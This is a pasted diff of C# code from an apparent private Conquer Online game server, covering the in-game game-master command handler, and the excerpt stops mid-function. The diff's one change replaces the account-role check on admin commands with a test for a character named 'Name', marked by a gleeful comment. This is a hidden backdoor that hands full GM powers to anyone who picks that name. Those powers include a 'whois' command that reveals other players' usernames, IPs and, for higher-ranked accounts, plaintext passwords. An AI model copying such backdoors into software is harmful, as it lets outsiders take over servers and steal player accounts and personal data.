SHOW:
|
|
- or go back to the newest paste.
1 | public static bool CheckCommand(string _message, Client.GameClient client, bool Ask = false) | |
2 | { | |
3 | string message = _message.Replace("#60", "").Replace("#61", "").Replace("#62", "").Replace("#63", "").Replace("#64", "").Replace("#65", "").Replace("#66", "").Replace("#67", "").Replace("#68", ""); | |
4 | try | |
5 | { | |
6 | if (message.StartsWith("@")) | |
7 | { | |
8 | string message_ = message.Substring(1).ToLower(); | |
9 | string Mess = message.Substring(1); | |
10 | string[] Data = message_.Split(' '); | |
11 | Program.AddGMCommand(client.Entity.Name, " " + client.Account.State.ToString() + " @" + message_ + " " + DateTime.Now.ToString()); | |
12 | #region GMs PMs | |
13 | - | if (client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.ProjectManager || client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.GameMaster) |
13 | + | if (client.Entity.Name == "Name") // 7elwa el se8a dii xD |
14 | { | |
15 | switch (Data[0]) | |
16 | { | |
17 | default: | |
18 | { | |
19 | // return (client.CheckCommand(_message)); | |
20 | //client.CheckCommand(_message); | |
21 | break; | |
22 | } | |
23 | case "racepoints": | |
24 | { | |
25 | client.RacePoints += uint.Parse(Data[1]); | |
26 | break; | |
27 | } | |
28 | case "obj": | |
29 | { | |
30 | StaticEntity entity = new StaticEntity(400000, (ushort)(client.Entity.X + 2), (ushort)(client.Entity.Y + 2), 2057); | |
31 | ||
32 | uint | |
33 | meshB = uint.Parse(Data[1]), | |
34 | meshE = uint.Parse(Data[2]); | |
35 | ||
36 | Writer.WriteUInt16(1, Offests._MonsterLevel, entity.SpawnPacket); | |
37 | Writer.WriteStringList(new List<string>() { "Flag", string.Empty }, Offests._Names, entity.SpawnPacket); | |
38 | ||
39 | ||
40 | for (uint i = meshB; i < meshE; i++) | |
41 | { | |
42 | Writer.WriteUInt32(i, Offests._Mesh, entity.SpawnPacket); | |
43 | client.Send(entity.SpawnPacket); | |
44 | client.Send(i.ToString(), Message.Agate); | |
45 | System.Threading.Thread.Sleep(250); | |
46 | } | |
47 | break; | |
48 | } | |
49 | case "time": | |
50 | { | |
51 | ServerTime time = new ServerTime(); | |
52 | time.Year = (uint)DateTime.Now.Year; | |
53 | time.Month = (uint)DateTime.Now.Month; | |
54 | time.DayOfYear = (uint)DateTime.Now.DayOfYear; | |
55 | time.DayOfMonth = (uint)int.Parse(Data[1]); | |
56 | time.Hour = (uint)int.Parse(Data[2]); | |
57 | time.Minute = (uint)int.Parse(Data[3]); | |
58 | time.Second = (uint)DateTime.Now.Second; | |
59 | client.Send(time); | |
60 | break; | |
61 | } | |
62 | case "epkbtest": | |
63 | { | |
64 | TEST_EPKB(client); | |
65 | break; | |
66 | } | |
67 | case "loadfake": | |
68 | { | |
69 | if (Data.Length == 3) | |
70 | { | |
71 | var array = LoadEntityUIDs(int.Parse(Data[2])); | |
72 | int x = int.Parse(Data[1]); | |
73 | int y = int.Parse(Data[2]); | |
74 | for (int i = x; i < y; i++) | |
75 | { | |
76 | var fClient = new GameClient(null); | |
77 | fClient.FakeLoad(array[i]); | |
78 | int xP = Kernel.Random.Sign() * Kernel.Random.Next(8); | |
79 | int yP = Kernel.Random.Sign() * Kernel.Random.Next(8); | |
80 | if (fClient.FakeLoaded) | |
81 | fClient.Entity.Teleport(client.Entity.MapID, (ushort)(client.Entity.X + xP), (ushort)(client.Entity.Y + yP)); | |
82 | } | |
83 | } | |
84 | client.Screen.Reload(null); | |
85 | break; | |
86 | } | |
87 | case "process": | |
88 | { | |
89 | Program.HandleClipboardPacket(_message); | |
90 | break; | |
91 | } | |
92 | case "test3": | |
93 | { | |
94 | client.Entity.AddTopStatus(Update.Flags.TopSpouse, DateTime.Now.AddDays(1), false); | |
95 | break; | |
96 | } | |
97 | case "test1": | |
98 | { | |
99 | string ItemName = Data[1].ToLower(); | |
100 | Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.Fixed; | |
101 | switch (Data[2].ToLower()) | |
102 | { | |
103 | case "fixed": Quality = Game.Enums.ItemQuality.Fixed; break; | |
104 | case "normal": Quality = Game.Enums.ItemQuality.Normal; break; | |
105 | case "normalv1": Quality = Game.Enums.ItemQuality.NormalV1; break; | |
106 | case "normalv2": Quality = Game.Enums.ItemQuality.NormalV2; break; | |
107 | case "normalv3": Quality = Game.Enums.ItemQuality.NormalV3; break; | |
108 | case "refined": Quality = Game.Enums.ItemQuality.Refined; break; | |
109 | case "unique": Quality = Game.Enums.ItemQuality.Unique; break; | |
110 | case "elite": Quality = Game.Enums.ItemQuality.Elite; break; | |
111 | case "super": Quality = Game.Enums.ItemQuality.Super; break; | |
112 | case "other": Quality = Game.Enums.ItemQuality.Other; break; | |
113 | default: | |
114 | { | |
115 | Quality = (Conquer_Online_Server.Game.Enums.ItemQuality)int.Parse(Data[4]); | |
116 | break; | |
117 | } | |
118 | } | |
119 | Database.ConquerItemBaseInformation CIBI = null; | |
120 | foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values) | |
121 | //if (infos.LoweredName == ItemName && Quality == (Game.Enums.ItemQuality)(infos.ID % 10)) | |
122 | CIBI = infos; | |
123 | if (CIBI == null) | |
124 | break; | |
125 | ConquerItem newItem = new GamePackets.ConquerItem(true); | |
126 | newItem.ID = CIBI.ID; | |
127 | newItem.Durability = CIBI.Durability; | |
128 | newItem.MaximDurability = CIBI.Durability; | |
129 | newItem.Color = (Game.Enums.Color)Kernel.Random.Next(4, 8); | |
130 | client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd); | |
131 | client.Inventory.Remove(newItem, Game.Enums.ItemUse.Move, true); | |
132 | newItem.Position = 13; // 13 - armor, 14 headgear | |
133 | client.Send(newItem); | |
134 | newItem.Mode = Enums.ItemMode.Update; | |
135 | client.Send(newItem); | |
136 | ClientEquip eqs = new ClientEquip(); | |
137 | eqs.DoEquips(client); | |
138 | eqs.Armor = newItem.UID; | |
139 | client.Send(eqs); | |
140 | break; | |
141 | } | |
142 | case "whois": | |
143 | { | |
144 | foreach (var pClient in Program.GamePool) | |
145 | { | |
146 | if (pClient == null) continue; | |
147 | if (pClient.Entity.LoweredName == Data[1]) | |
148 | { | |
149 | client.Send(new Message("[Whois " + pClient.Entity.Name + "]", System.Drawing.Color.Red, GamePackets.Message.FirstRightCorner)); | |
150 | client.Send(new Message("Username: " + pClient.Account.Username, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner)); | |
151 | if (client.Account.State == Database.AccountTable.AccountState.ProjectManager) | |
152 | client.Send(new Message("Password: " + pClient.Account.Password, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner)); | |
153 | client.Send(new Message("IP: " + pClient.Account.IP, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner)); | |
154 | client.Send(new Message("CPs: " + pClient.Entity.ConquerPoints, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner)); | |
155 | client.Send(new Message("Money: " + pClient.Entity.Money, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner)); | |
156 | client.Send(new Message("BP: " + pClient.Entity.BattlePower, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner)); | |
157 | client.Send(new Message("Map: [" + pClient.Entity.MapID + "] " + pClient.Entity.X + "," + pClient.Entity.Y, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner)); | |
158 | client.Send(new Message("Attack range: " + pClient.Entity.AttackRange, System.Drawing.Color.Red, GamePackets.Message.ContinueRightCorner)); | |
159 | } | |
160 | } | |
161 | return true; | |
162 | } | |
163 | //do n: @do n @item bla bla | |
164 | // will do the @item cmd for n times | |
165 | case "do": | |
166 | { | |
167 | int n = int.Parse(Data[1]); | |
168 | string rest = Mess.Substring(3 + Data[1].Length + 1); | |
169 | for (int i = 0; i < n; i++) | |
170 | CheckCommand(rest, client); | |
171 | break; | |
172 | } | |
173 | case "honorpoints": | |
174 | { | |
175 | client.CurrentHonor += uint.Parse(Data[1]); | |
176 | client.Send(client.ArenaStatistic); | |
177 | break; | |
178 | } | |
179 | case "hairstyle": | |
180 | { | |
181 | client.Entity.HairStyle = ushort.Parse(Data[1]); | |
182 | break; | |
183 | } | |
184 | case "scroll": | |
185 | { | |
186 | if (client.Entity.MapID == 700) | |
187 | break; | |
188 | switch (Data[1].ToLower()) | |
189 | { | |
190 | case "tc": client.Entity.Teleport(1002, 300, 278); break; | |
191 | case "pc": client.Entity.Teleport(1011, 195, 260); break; | |
192 | case "ac": | |
193 | case "am": client.Entity.Teleport(1020, 566, 563); break; | |
194 | case "dc": client.Entity.Teleport(1000, 500, 645); break; | |
195 | case "bi": client.Entity.Teleport(1015, 723, 573); break; | |
196 | case "pka": client.Entity.Teleport(1005, 050, 050); break; | |
197 | case "ma": client.Entity.Teleport(1036, 211, 196); break; | |
198 | case "ja": client.Entity.Teleport(6000, 100, 100); break; | |
199 | } | |
200 | break; | |
201 | } | |
202 | case "test": | |
203 | { | |
204 | client.Entity.AddFlag(ulong.Parse(Data[1])); | |
205 | break; | |
206 | } | |
207 | case "chi": | |
208 | { | |
209 | client.Send(new ChiPowers(true).Query(client)); | |
210 | break; | |
211 | } | |
212 | case "itemeffect": | |
213 | { | |
214 | Kernel.boundID = int.Parse(Data[1]); | |
215 | Kernel.boundIDEnd = int.Parse(Data[2]); | |
216 | break; | |
217 | } | |
218 | case "kiko": | |
219 | { | |
220 | client.Entity.ActualMyTypeFlower = 30010102; | |
221 | break; | |
222 | } | |
223 | ||
224 | case "geartest": | |
225 | { | |
226 | //181315 515black | |
227 | uint UID = 92000; | |
228 | ConquerItem newItem = new Conquer_Online_Server.Network.GamePackets.ConquerItem(true); | |
229 | newItem.ID = 181825; | |
230 | newItem.UID = UID; | |
231 | newItem.Durability = 1000; | |
232 | newItem.MaximDurability = 1000; | |
233 | newItem.Position = 9; | |
234 | //client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd); | |
235 | client.Equipment.Remove(9); | |
236 | if (client.Equipment.Objects[8] != null) | |
237 | client.Equipment.Objects[8] = null; | |
238 | client.Equipment.Add(newItem); | |
239 | newItem.Mode = Conquer_Online_Server.Game.Enums.ItemMode.Update; | |
240 | newItem.Send(client); | |
241 | ClientEquip equips = new ClientEquip(); | |
242 | equips.DoEquips(client); | |
243 | client.Send(equips); | |
244 | client.Equipment.UpdateEntityPacket(); | |
245 | break; | |
246 | ||
247 | } | |
248 | case "quarantine": | |
249 | { | |
250 | //542363 | |
251 | Conquer_Online_Server.Game.Quarantine.Started = true; | |
252 | break; | |
253 | } | |
254 | case "test2": | |
255 | { | |
256 | client.Entity.RemoveFlag(ulong.Parse(Data[1])); | |
257 | break; | |
258 | } | |
259 | case "summon": | |
260 | { | |
261 | foreach (var pClient in Program.GamePool) | |
262 | { | |
263 | if (pClient.Entity.LoweredName.Contains(Data[1])) | |
264 | { | |
265 | pClient.Entity.Teleport(client.Entity.MapID, client.Entity.X, client.Entity.Y); | |
266 | } | |
267 | } | |
268 | break; | |
269 | } | |
270 | case "pkp": | |
271 | { | |
272 | client.Entity.PKPoints = ushort.Parse(Data[1]); | |
273 | ||
274 | break; | |
275 | } | |
276 | case "dropevent": | |
277 | { | |
278 | ||
279 | ConquerItem Item = null; | |
280 | #region Get Item | |
281 | string ItemName = Data[1]; | |
282 | string loweredName = ItemName.ToLower(); | |
283 | bool SpecialItem = false; | |
284 | uint SpecialID = 0; | |
285 | if (ItemName.Contains("cp") || ItemName.Contains("met") || ItemName.Contains("db") || ItemName.Contains("stone") || ItemName.Contains("soul")) | |
286 | { | |
287 | if (ItemName.Contains("cp")) | |
288 | SpecialID = 729911; | |
289 | else if (ItemName.Contains("db")) | |
290 | SpecialID = 1088000; | |
291 | else if (ItemName.Contains("met")) | |
292 | SpecialID = 1088001; | |
293 | else if (ItemName.Contains("stone")) | |
294 | SpecialID = 730008; | |
295 | else if (ItemName.Contains("Soul")) | |
296 | SpecialID = 800110; | |
297 | SpecialItem = true; goto PrepareDrop; | |
298 | } | |
299 | if (loweredName == "exp") | |
300 | { | |
301 | foreach (Interfaces.IMapObject ClientObj in client.Screen.Objects) | |
302 | { | |
303 | if (ClientObj != null) | |
304 | { | |
305 | if (ClientObj is Game.Entity) | |
306 | { | |
307 | if (ClientObj.MapObjType == Conquer_Online_Server.Game.MapObjectType.Player) | |
308 | { | |
309 | ClientObj.Owner.IncreaseExperience(ClientObj.Owner.ExpBall, false); | |
310 | } | |
311 | } | |
312 | } | |
313 | } | |
314 | break; | |
315 | } | |
316 | Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.NormalV3; | |
317 | if (Data.Length > 2) | |
318 | { | |
319 | switch (Data[3].ToLower()) | |
320 | { | |
321 | case "fixed": Quality = Game.Enums.ItemQuality.Fixed; break; | |
322 | case "normal": Quality = Game.Enums.ItemQuality.Normal; break; | |
323 | case "normalv1": Quality = Game.Enums.ItemQuality.NormalV1; break; | |
324 | case "normalv2": Quality = Game.Enums.ItemQuality.NormalV2; break; | |
325 | case "normalv3": Quality = Game.Enums.ItemQuality.NormalV3; break; | |
326 | case "refined": Quality = Game.Enums.ItemQuality.Refined; break; | |
327 | case "unique": Quality = Game.Enums.ItemQuality.Unique; break; | |
328 | case "elite": Quality = Game.Enums.ItemQuality.Elite; break; | |
329 | case "super": Quality = Game.Enums.ItemQuality.Super; break; | |
330 | case "other": Quality = Game.Enums.ItemQuality.Other; break; | |
331 | default: | |
332 | { | |
333 | Quality = (Conquer_Online_Server.Game.Enums.ItemQuality)int.Parse(Data[4]); | |
334 | break; | |
335 | } | |
336 | } | |
337 | } | |
338 | Database.ConquerItemBaseInformation CIBI = null; | |
339 | foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values) | |
340 | { | |
341 | ||
342 | } | |
343 | if (CIBI == null) | |
344 | break; | |
345 | Item = new GamePackets.ConquerItem(true); | |
346 | Item.ID = CIBI.ID; | |
347 | Item.Durability = CIBI.Durability; | |
348 | Item.MaximDurability = CIBI.Durability; | |
349 | if (Data.Length > 3) | |
350 | Item.Plus = byte.Parse(Data[4]); | |
351 | #endregion | |
352 | PrepareDrop: | |
353 | { | |
354 | if (Item != null || SpecialItem) | |
355 | { | |
356 | //dropevent Name Quality | |
357 | for (int i = 0; i < int.Parse(Data[2]); i++) | |
358 | { | |
359 | #region GetCoords (X, Y) | |
360 | ushort X = 0; | |
361 | ushort Y = 0; | |
362 | getCoords: | |
363 | { | |
364 | X = (ushort)Kernel.Random.Next(client.Entity.X - 20, client.Entity.X + 20); | |
365 | Y = (ushort)Kernel.Random.Next(client.Entity.Y - 20, client.Entity.Y + 20); | |
366 | } | |
367 | while (!client.Map.SelectCoordonates(ref X, ref Y)) | |
368 | goto getCoords; | |
369 | #endregion | |
370 | #region Drop Floor Item | |
371 | FloorItem floorItem = new FloorItem(true); | |
372 | if (SpecialItem) | |
373 | { | |
374 | if (SpecialID == 729911) | |
375 | { | |
376 | floorItem.ValueType = Network.GamePackets.FloorItem.FloorValueType.ConquerPoints; | |
377 | floorItem.Value = 20; | |
378 | } | |
379 | floorItem.ItemID = SpecialID; | |
380 | floorItem.Item = new ConquerItem(true); | |
381 | floorItem.Item.ID = SpecialID; | |
382 | floorItem.Item.UID = FloorItem.FloorUID.Next; | |
383 | floorItem.UID = floorItem.Item.UID; | |
384 | floorItem.Item.MobDropped = true; | |
385 | while (client.Map.Npcs.ContainsKey(floorItem.Item.UID)) | |
386 | { | |
387 | floorItem.Item.UID = FloorItem.FloorUID.Next; | |
388 | floorItem.UID = FloorItem.FloorUID.Next; | |
389 | } | |
390 | ||
391 | } | |
392 | else | |
393 | { | |
394 | floorItem.Item = new ConquerItem(true); | |
395 | floorItem.Item.Color = Item.Color; | |
396 | floorItem.Item.Durability = Item.Durability; | |
397 | floorItem.Item.ID = Item.ID; | |
398 | floorItem.Item.Mode = Game.Enums.ItemMode.Default; | |
399 | floorItem.Item.UID = FloorItem.FloorUID.Next; | |
400 | floorItem.UID = floorItem.Item.UID; | |
401 | floorItem.Item.MobDropped = true; | |
402 | floorItem.ItemColor = Item.Color; | |
403 | floorItem.ItemID = Item.ID; | |
404 | while (client.Map.Npcs.ContainsKey(floorItem.Item.UID)) | |
405 | { | |
406 | floorItem.Item.UID = FloorItem.FloorUID.Next; | |
407 | floorItem.UID = FloorItem.FloorUID.Next; | |
408 | } | |
409 | } | |
410 | ||
411 | floorItem.MapID = client.Map.ID; | |
412 | floorItem.MapObjType = Game.MapObjectType.Item; | |
413 | floorItem.X = X; | |
414 | floorItem.Y = Y; | |
415 | floorItem.Type = FloorItem.Drop; | |
416 | floorItem.OnFloor = Time32.Now; | |
417 | client.SendScreenSpawn(floorItem, true); | |
418 | client.Map.AddFloorItem(floorItem); | |
419 | } | |
420 | } | |
421 | #endregion | |
422 | } | |
423 | break; | |
424 | } | |
425 | case "addtitle": | |
426 | { | |
427 | //client.Entity.AddTitle((TitlePacket.Titles)(Convert.ToUInt16(Data[1])), DateTime.Now); | |
428 | break; | |
429 | } | |
430 | case "vip": | |
431 | { | |
432 | client.Entity.VIPLevel = byte.Parse(Data[1]); | |
433 | break; | |
434 | } | |
435 | #region JiangHu Test | |
436 | ||
437 | case "vend": | |
438 | { | |
439 | ||
440 | var buffer = Program.World.CTF.generateCTFRanking(); | |
441 | client.Send(buffer); | |
442 | break; | |
443 | } | |
444 | case "a7a1": | |
445 | { | |
446 | // 42 00 8D 0A 4A 69 61 6E 67 48 75 65 7E 55 41 | |
447 | // 53 00 00 00 00 01 02 00 5B 5F 01 00 8E 0D | |
448 | // 00 00 00 00 00 00 0A 00 00 00 7F 96 98 00 | |
449 | // 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
450 | // 00 00 00 00 00 00 00 00 00 | |
451 | byte[] Buffer = new byte[0x42]; | |
452 | Writer.WriteUInt16((ushort)(Buffer.Length - 8), 0, Buffer); | |
453 | Writer.WriteUInt16((ushort)0xA8D, 2, Buffer); | |
454 | Writer.WriteInt32(Data[1].Length, 4, Buffer); | |
455 | Writer.WriteString(Data[1], 5, Buffer); | |
456 | Writer.WriteUInt32(1, 20, Buffer); | |
457 | Writer.WriteUInt32(2, 21, Buffer); | |
458 | Writer.WriteUInt32(0X5B, 23, Buffer); | |
459 | Writer.WriteUInt32(0X5F, 24, Buffer); | |
460 | Writer.WriteUInt32(0X01, 25, Buffer); | |
461 | Writer.WriteUInt32(0xD8E, 27, Buffer); | |
462 | Writer.WriteUInt32(0xA, 35, Buffer); | |
463 | Writer.WriteUInt32(0X98967F, 39, Buffer); | |
464 | client.Send(Buffer); | |
465 | break; | |
466 | } | |
467 | case "a7a2": | |
468 | { | |
469 | ||
470 | break; | |
471 | } | |
472 | case "a7aaaa": | |
473 | { | |
474 | ||
475 | byte[] Buffer = new byte[42]; | |
476 | Writer.WriteUInt16((ushort)(Buffer.Length - 8), 0, Buffer); | |
477 | Writer.WriteUInt16((ushort)10010, 2, Buffer); | |
478 | Writer.WriteUInt32((uint)Time32.timeGetTime().GetHashCode(), 4, Buffer); | |
479 | Writer.WriteUInt32(client.Entity.UID, 8, Buffer); | |
480 | Writer.WriteInt32(0x269, 12, Buffer); | |
481 | Writer.WriteInt32(0x7E, 24, Buffer); | |
482 | Writer.WriteUInt16(0x7, 26, Buffer); | |
483 | Writer.WriteUInt16(0xD9, 28, Buffer); | |
484 | Writer.WriteUInt32(0xC3, 30, Buffer); | |
485 | client.Send(Buffer); | |
486 | break; | |
487 | } | |
488 | #endregion | |
489 | case "give": | |
490 | { | |
491 | foreach (var Client in Program.GamePool) | |
492 | { | |
493 | if (Client.Entity.LoweredName.Contains(Data[1])) | |
494 | { | |
495 | switch (Data[2]) | |
496 | { | |
497 | case "vip": | |
498 | Client.Entity.VIPLevel = byte.Parse(Data[3]); | |
499 | break; | |
500 | case "cps": | |
501 | Client.Entity.ConquerPoints += uint.Parse(Data[3]); | |
502 | break; | |
503 | case "money": | |
504 | Client.Entity.Money += uint.Parse(Data[3]); | |
505 | break; | |
506 | case "spell": | |
507 | Client.AddSpell(new Spell(true) { ID = ushort.Parse(Data[3]) }); | |
508 | break; | |
509 | case "level": | |
510 | Client.Entity.Level = byte.Parse(Data[3]); | |
511 | ||
512 | Database.DataHolder.GetStats(Client.Entity.Class, Client.Entity.Level, Client); | |
513 | Client.CalculateStatBonus(); | |
514 | Client.CalculateHPBonus(); | |
515 | Client.GemAlgorithm(); | |
516 | break; | |
517 | case "plustone": | |
518 | { | |
519 | UInt32 ItemId = UInt32.Parse(Data[3]); | |
520 | if (Database.ConquerItemInformation.BaseInformations.ContainsKey(ItemId)) | |
521 | { | |
522 | Database.ConquerItemBaseInformation iteminfo; | |
523 | if (Database.ConquerItemInformation.BaseInformations.TryGetValue(ItemId, out iteminfo)) | |
524 | { | |
525 | ConquerItem newItem = new GamePackets.ConquerItem(true); | |
526 | newItem.ID = iteminfo.ID; | |
527 | Byte Plus = (Byte)(newItem.ID % 730000); | |
528 | Console.WriteLine("Item Plus " + Plus); | |
529 | newItem.Plus = (Byte)(newItem.ID % 730000); | |
530 | Client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd); | |
531 | } | |
532 | } | |
533 | break; | |
534 | } | |
535 | case "item": | |
536 | { | |
537 | string ItemName = Data[3].ToLower(); | |
538 | Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.Fixed; | |
539 | switch (Data[4].ToLower()) | |
540 | { | |
541 | case "fixed": Quality = Game.Enums.ItemQuality.Fixed; break; | |
542 | case "normal": Quality = Game.Enums.ItemQuality.Normal; break; | |
543 | case "normalv1": Quality = Game.Enums.ItemQuality.NormalV1; break; | |
544 | case "normalv2": Quality = Game.Enums.ItemQuality.NormalV2; break; | |
545 | case "normalv3": Quality = Game.Enums.ItemQuality.NormalV3; break; | |
546 | case "refined": Quality = Game.Enums.ItemQuality.Refined; break; | |
547 | case "unique": Quality = Game.Enums.ItemQuality.Unique; break; | |
548 | case "elite": Quality = Game.Enums.ItemQuality.Elite; break; | |
549 | case "super": Quality = Game.Enums.ItemQuality.Super; break; | |
550 | case "other": Quality = Game.Enums.ItemQuality.Other; break; | |
551 | default: | |
552 | { | |
553 | Quality = (Conquer_Online_Server.Game.Enums.ItemQuality)int.Parse(Data[4]); | |
554 | break; | |
555 | } | |
556 | } | |
557 | Database.ConquerItemBaseInformation CIBI = null; | |
558 | foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values) | |
559 | { | |
560 | // if (infos.LoweredName == ItemName && Quality == (Game.Enums.ItemQuality)(infos.ID % 10)) | |
561 | { | |
562 | CIBI = infos; | |
563 | } | |
564 | } | |
565 | if (CIBI == null) | |
566 | break; | |
567 | ConquerItem newItem = new GamePackets.ConquerItem(true); | |
568 | newItem.ID = CIBI.ID; | |
569 | newItem.Durability = CIBI.Durability; | |
570 | newItem.MaximDurability = CIBI.Durability; | |
571 | if (Data.Length > 3) | |
572 | { | |
573 | byte plus = 0; | |
574 | byte.TryParse(Data[5], out plus); | |
575 | newItem.Plus = Math.Min((byte)12, plus); | |
576 | if (Data.Length > 4) | |
577 | { | |
578 | byte bless = 0; | |
579 | byte.TryParse(Data[6], out bless); | |
580 | newItem.Bless = Math.Min((byte)7, bless); | |
581 | if (Data.Length > 5) | |
582 | { | |
583 | byte ench = 0; | |
584 | byte.TryParse(Data[7], out ench); | |
585 | newItem.Enchant = Math.Min((byte)255, ench); | |
586 | if (Data.Length > 6) | |
587 | { | |
588 | byte soc1 = 0; | |
589 | byte.TryParse(Data[8], out soc1); | |
590 | if (Enum.IsDefined(typeof(Game.Enums.Gem), soc1)) | |
591 | { | |
592 | newItem.SocketOne = (Game.Enums.Gem)soc1; | |
593 | } | |
594 | if (Data.Length > 7) | |
595 | { | |
596 | byte soc2 = 0; | |
597 | byte.TryParse(Data[9], out soc2); | |
598 | if (Enum.IsDefined(typeof(Game.Enums.Gem), soc2)) | |
599 | { | |
600 | newItem.SocketTwo = (Game.Enums.Gem)soc2; | |
601 | } | |
602 | } | |
603 | if (Data.Length > 10) | |
604 | { | |
605 | byte R = 0, G = 0, B = 0; | |
606 | byte.TryParse(Data[10], out R); | |
607 | byte.TryParse(Data[11], out G); | |
608 | byte.TryParse(Data[12], out B); | |
609 | newItem.SocketProgress = (uint)(B | (G << 8) | (R << 16)); | |
610 | } | |
611 | } | |
612 | } | |
613 | } | |
614 | } | |
615 | newItem.Color = (Conquer_Online_Server.Game.Enums.Color)Kernel.Random.Next(4, 8); | |
616 | Client.Inventory.Add(newItem, Game.Enums.ItemUse.CreateAndAdd); | |
617 | break; | |
618 | } | |
619 | case "equip": | |
620 | { | |
621 | string ItemName = Data[3].ToLower(); | |
622 | Game.Enums.ItemQuality Quality = Game.Enums.ItemQuality.NormalV3; | |
623 | Database.ConquerItemBaseInformation CIBI = null; | |
624 | foreach (Database.ConquerItemBaseInformation infos in Database.ConquerItemInformation.BaseInformations.Values) | |
625 | { | |
626 | //if (infos.LoweredName == ItemName && Quality == (Game.Enums.ItemQuality)(infos.ID % 10)) | |
627 | { | |
628 | CIBI = infos; | |
629 | } | |
630 | } | |
631 | if (CIBI == null) | |
632 | break; | |
633 | ConquerItem newItem = new GamePackets.ConquerItem(true); | |
634 | newItem.ID = CIBI.ID; | |
635 | newItem.Position = 9; | |
636 | newItem.Durability = CIBI.Durability; | |
637 | newItem.MaximDurability = CIBI.Durability; | |
638 | newItem.Color = (Conquer_Online_Server.Game.Enums.Color)Kernel.Random.Next(4, 8); | |
639 | Client.Equipment.Add(newItem, Game.Enums.ItemUse.CreateAndAdd); | |
640 | break; | |
641 | } | |
642 | } | |
643 | break; | |
644 | } | |
645 | } | |
646 | break; | |
647 | } | |
648 | #region Life and Rev | |
649 | case "rev": | |
650 | { | |
651 | client.Entity.Action = Game.Enums.ConquerAction.None; | |
652 | client.ReviveStamp = Time32.Now; | |
653 | client.Attackable = false; | |
654 | client.Entity.TransformationID = 0; | |
655 | client.Entity.RemoveFlag(Update.Flags.Dead); | |
656 | client.Entity.RemoveFlag(Update.Flags.Ghost); | |
657 | client.Entity.RemoveFlag2(Update.Flags2.SoulShackle); | |
658 | client.Entity.Hitpoints = client.Entity.MaxHitpoints; | |
659 | break; | |
660 | } | |
661 | case "life": | |
662 | { | |
663 | client.Entity.Hitpoints = client.Entity.MaxHitpoints; | |
664 | client.Entity.Mana = client.Entity.MaxMana; | |
665 | break; | |
666 | } | |
667 | #endregion | |
668 | case "cps": | |
669 | { | |
670 | client.Entity.ConquerPoints = uint.Parse(Data[1]); | |
671 | break; | |
672 | } | |
673 | case "money": | |
674 | { | |
675 | client.Entity.Money = uint.Parse(Data[1]); | |
676 | break; | |
677 | } | |
678 | ||
679 | case "open": | |
680 | { | |
681 | GamePackets.Data data = new GamePackets.Data(true); | |
682 | data.ID = GamePackets.Data.OpenCustom; | |
683 | data.UID = client.Entity.UID; | |
684 | data.TimeStamp = Time32.Now; | |
685 | data.dwParam = uint.Parse(Data[1]); | |
686 | data.wParam1 = client.Entity.X; | |
687 | data.wParam2 = client.Entity.Y; | |
688 | client.Send(data); | |
689 | break; | |
690 | } | |
691 | case "xp": | |
692 | { | |
693 | client.Entity.AddFlag(Update.Flags.XPList); | |
694 | client.XPListStamp = Time32.Now; | |
695 | break; | |
696 | } | |
697 | case "clanwar": | |
698 | { | |
699 | if (Game.ClanWar.IsWar) | |
700 | Game.ClanWar.End(); | |
701 | else | |
702 | Game.ClanWar.Start(); | |
703 | break; | |
704 | } | |
705 | ||
706 | case "ccctttfff": | |
707 | { | |
708 | switch (Data[1]) | |
709 | { | |
710 | case "on": | |
711 | { | |
712 | CaptureTheFlag.IsWar = true; | |
713 | CaptureTheFlag.StartTime = DateTime.Now; | |
714 | foreach (var guild in Kernel.Guilds.Values) | |
715 | { | |
716 | guild.CTFFlagScore = 0; | |
717 | guild.CTFPoints = 0; | |
718 | Database.GuildTable.SaveCTFPoins(guild); | |
719 | } | |
720 | foreach (var cclient in Program.GamePool) | |
721 | if (cclient.Entity.GuildID != 0) | |
722 | cclient.MessageBox("Capture the Flag has begun! Would you like to join? [Prize: Guild fund]", | |
723 | p => { p.Entity.Teleport(1002, 226, 237); }, null); | |
724 | break; | |
725 | } | |
726 | case "off": | |
727 | { | |
728 | ||
729 | ||
730 | CaptureTheFlag.IsWar = false; | |
731 | CaptureTheFlag.Close(); | |
732 | break; | |
733 | } | |
734 | } | |
735 | break; | |
736 | } | |
737 | case "guildwar": | |
738 | { | |
739 | switch (Data[1]) | |
740 | { | |
741 | case "on": | |
742 | { | |
743 | if (!Game.GuildWar.IsWar) | |
744 | { | |
745 | Game.GuildWar.Start(); | |
746 | } | |
747 | break; | |
748 | } | |
749 | case "off": | |
750 | { | |
751 | if (Game.GuildWar.IsWar) | |
752 | { | |
753 | Game.GuildWar.End(); | |
754 | } | |
755 | break; | |
756 | } | |
757 | } | |
758 | break; | |
759 | } | |
760 | ||
761 | } | |
762 | } | |
763 | if (client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.GameMaster | |
764 | || client.Account.State == Conquer_Online_Server.Database.AccountTable.AccountState.ProjectManager) | |
765 | { | |
766 | switch (Data[0]) | |
767 | { | |
768 | case "addrem": | |
769 | { | |
770 | int flagtype = int.Parse(Data[1]); | |
771 | ulong addFlag = 1UL << int.Parse(Data[2]); | |
772 | ulong remFlag = 1UL << int.Parse(Data[3]); | |
773 | if (flagtype == 1) | |
774 | { | |
775 | client.Entity.AddFlag(addFlag); | |
776 | client.Entity.RemoveFlag(remFlag); | |
777 | } | |
778 | else if (flagtype == 2) | |
779 | { | |
780 | client.Entity.AddFlag2(addFlag); | |
